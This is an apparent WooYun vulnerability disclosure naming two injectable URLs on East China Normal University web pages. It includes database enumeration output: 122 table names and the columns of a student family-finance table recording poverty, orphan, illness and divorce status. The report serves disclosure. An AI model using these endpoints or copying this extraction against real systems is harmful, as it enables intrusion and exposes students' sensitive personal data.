WooYun.org

0x01
漏洞地址：
http://www.qinzhu.ecnu.edu.cn/department/HeartRoom/HeartFront/News.aspx?type=%B0%AE%D0%C4%CE%DD&style=%B0%AE%D0%C4%D4%C2%B1%A8

Database: qinzhu
[122 tables]
+--------------------------------------+
| CTApply |
| CTFastPass |
| CTGood |
| CampusPosition_Department |
| CampusPosition_Department_Staff |
| CampusPosition_Recruitment |
| CampusPosition_Recruitment_Enrolment |
| CertAllowance |
| CertAuditing |
| CertBookSubsidy |
| CharityTicket |
| College |
| DownloadFile |
| FamilyEconomyDetails |
| FamilyFinance |
| FamilyFinance1 |
| FamilyFinance20140928 |
| FamilyMember |
| FrozenStuInfo |
| FzDelivery |
| HaveCertificate |
| HaveCertificate_Training |
| HaveCertificate_Training_Enrolment |
| Have_ClassInfo |
| Have_RegistInfo |
| IPDengLu |
| News |
| Notice |
| PageIndexForStudent |
| Parent |
| RealDepartment |
| Sheet1 |
| Slide |
| StudentOtherInfo |
| SubsidyDeptMoney |
| SubsidyProject |
| SubsidyStuInfo |
| SuperUser |
| TBLHT001 |
| TBLHT002 |
| TBLHT0022 |
| TBLHT003 |
| TBLHT0033 |
| TBLHT005 |
| TBLHT0055 |
| TBLHTFeedBack |
| TBLHTQuestions |
| TBLHTstarapply |
| TBLHTstarpunish |
| TalentPool |
| TeacherToSendEmail |
| TempSubsidy |
| TutorAllowance |
| UpTightReasons |
| WageAssignment |
| WageGather |
| WageReport |
| XSCJSL |
| XSCJYG |
| YJ_7Pram |
| YJ_7Weight |
| YJ_Admin |
| YJ_Attention |
| YJ_CYnormal |
| YJ_CaterSet |
| YJ_ChengJiInfo |
| YJ_ChengJiSet |
| YJ_JD |
| YJ_Parameter |
| YJ_Project |
| YJ_QinInfo |
| YJ_QinSet |
| YJ_Score |
| YJ_ShengFen |
| YJ_StuData |
| YJ_StuData11 |
| YJ_StuInfo |
| YJ_StuNever |
| YJ_ZongHeInfo |
| YJ_ZongHeSet |
| 晛??201307 |
| 晛?? |
| ???梈 |
| ????潠?聟?啟 |
| a0 |
| aaaa |
| bbb |
| bjqx_ad |
| bjqx_ad2 |
| bm_applyTable |
| bm_projects |
| dtproperties |
| huifu |
| insurance_attendee |
| insurance_project |
| jbxx_ad |
| jbxx_ad1 |
| jbxx_ad2 |
| jbxx_xs |
| jbxx_xs1 |
| jbxx_xs2 |
| jbxx_xs8 |
| jbxx_xs齓? |
| jiajiao |
| jzda |
| jzda2 |
| list1 |
| list2 |
| liuyan |
| old_jzda |
| scb_applyTable |
| scb_projects |
| scb_settlement |
| scb_shortMessage |
| shichangbu |
| shujiApply |
| student_icon |
| vw_cjqgzx |
| vw_stuyj |
| vw_zxxs |
| yj_score_1 |
| ?発?抖 |
+--------------------------------------+
Database: qinzhu
Table: FamilyFinance20140928
[29 columns]
+-------------------------+---------------+
| Column | Type |
+-------------------------+---------------+
| assess_date | smalldatetime |
| civil_addr | nvarchar |
| civil_name | nvarchar |
| civil_phone | nvarchar |
| civil_postalcode | nvarchar |
| civil_sign | nvarchar |
| fami_accident | ntext |
| fami_members | ntext |
| famiProvideCostOfLiving | float |
| famiProvideTution | float |
| group_attitude | ntext |
| id | int |
| if_badillness | nvarchar |
| if_disabled | nvarchar |
| if_healthy | nvarchar |
| if_loan | nvarchar |
| if_materialcompleted | nvarchar |
| if_orphan | nvarchar |
| if_pardivorce | nvarchar |
| if_singleparent | nvarchar |
| if_soldierfami | nvarchar |
| if_workstudy | nvarchar |
| monthincome_pmember | float |
| poverty_level | nvarchar |
| remarks | ntext |
| school_attitude | ntext |
| status | nvarchar |
| stu_id | nvarchar |
| univ_attitude | ntext |
+-------------------------+---------------+

0x02
漏洞地址：
http://www.jiajiao.ecnu.edu.cn/dxal_details.aspx?id=18